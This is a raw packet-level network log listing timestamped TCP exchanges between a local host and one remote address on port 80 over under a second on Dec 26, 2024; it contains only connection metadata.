Dec 26, 2024 12:05:11.442996979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.443022966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.443140984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.443907022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.444004059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.444076061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.444122076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.444998980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.445063114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.445099115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.445265055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.446046114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.446110010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.446130037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.446158886 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.447014093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.447071075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.447099924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.447179079 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.448086977 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.448148012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.448184967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.448235989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.449122906 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.449229956 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.449274063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.449322939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.450113058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.450166941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.450210094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.450364113 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.451159000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.451226950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.451520920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.451581001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.452142954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.452207088 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.452241898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.452358007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.453186989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.453247070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.453291893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.453392982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.454252005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.454319954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.454432964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.454432964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.455239058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.455302000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.455382109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.455627918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.456338882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.456387043 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.456439018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.456528902 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.457370996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.457448959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.457488060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.457515001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.458293915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.458359003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.458360910 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.458421946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.459284067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.459364891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.459403038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.459578037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.460325003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.460408926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.460433006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.460746050 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.461379051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.461460114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.461507082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.461563110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.619174957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.619191885 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.619242907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.619282961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.619343042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.619369984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.619412899 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.620331049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.620379925 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.620430946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.620477915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.621345997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.621397972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.621480942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.621524096 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.622401953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.622415066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.622457027 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.623382092 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.623429060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.623464108 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.623502016 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.624377012 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.624425888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.624614954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.624660969 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.625525951 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.625574112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.625678062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.626346111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.626591921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.626645088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.626667023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.626710892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.627496958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.627552986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.627564907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.627609968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.628557920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.628604889 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.628879070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.628927946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.629564047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.629611969 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.629654884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.629700899 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.630656958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.630707026 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.630824089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.630868912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.631609917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.631656885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.631738901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.631786108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.632699966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.632742882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.632802963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.632873058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.633704901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.633753061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.633770943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.633810043 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.634666920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.634716034 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.634798050 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.634841919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.635737896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.635786057 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.635788918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.635834932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.636748075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.636802912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.636971951 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.637012005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.637727022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.637768984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.637908936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.638746977 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.638747931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.638787031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.638967037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.639012098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.639755964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.639805079 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.639838934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.639878988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.640831947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.640878916 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.640916109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.640969992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.641856909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.641989946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.642045975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.642954111 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.643006086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.643024921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.643062115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.643915892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.643975019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.644032001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.644076109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.645143032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.645155907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.645221949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.645965099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.646056890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.646114111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.647041082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.647094011 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.647108078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.647135973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.648022890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.648082018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.648205042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.648252964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.649044991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.649091959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.649209023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.649255991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.650132895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.650146961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.650182962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.651103973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.651144028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.651160955 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.651174068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.652174950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.652231932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.652390957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.652436972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.653093100 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.653141975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.653194904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.653244019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.654198885 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.654258966 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.654304028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.654349089 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.655158997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.655216932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.655255079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.655306101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.656171083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.656250954 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.656424999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.656469107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.657236099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.657310009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.657334089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.657380104 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.658299923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.658339024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.658359051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.658373117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.659281969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.659349918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.659359932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.659404039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.660312891 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.660362959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.660442114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.660496950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.661353111 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.661372900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.661398888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.661417007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.662405014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.662417889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.662447929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.662466049 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.663364887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.663420916 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.663517952 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.663564920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.664396048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.664442062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.664504051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.664567947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.665492058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.665539980 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.665541887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.665589094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.666568995 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.666614056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.666676998 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.666722059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.667521954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.667573929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.667638063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.667681932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.669137955 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.669187069 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.669188976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.669233084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.669579029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.669625044 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.669724941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.669770956 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.670562029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.670612097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.670667887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.670732021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.671770096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.671818018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.671858072 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.671938896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.672554016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.672605991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.829935074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.829968929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.829998016 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.830034971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.830363035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.830391884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.830415964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.830437899 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.831511021 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.831573009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.831768036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.831816912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.832324982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.832377911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.832484007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.832570076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.833409071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.833458900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.833475113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.833523035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.834450960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.834501982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.834517002 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.834561110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.835375071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.835429907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.835489035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.835539103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.836445093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.836493015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.836533070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.836586952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.837421894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.837470055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.837472916 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.837517977 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.838534117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.838593006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.838612080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.838660002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.839495897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.839535952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.839598894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.839643002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.840549946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.840588093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.840595007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.840620995 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.841499090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.841543913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.841599941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.841651917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.842560053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.842611074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.842647076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.842691898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.843544960 CET	80	49708	185.81.68.147	192.168.2.5
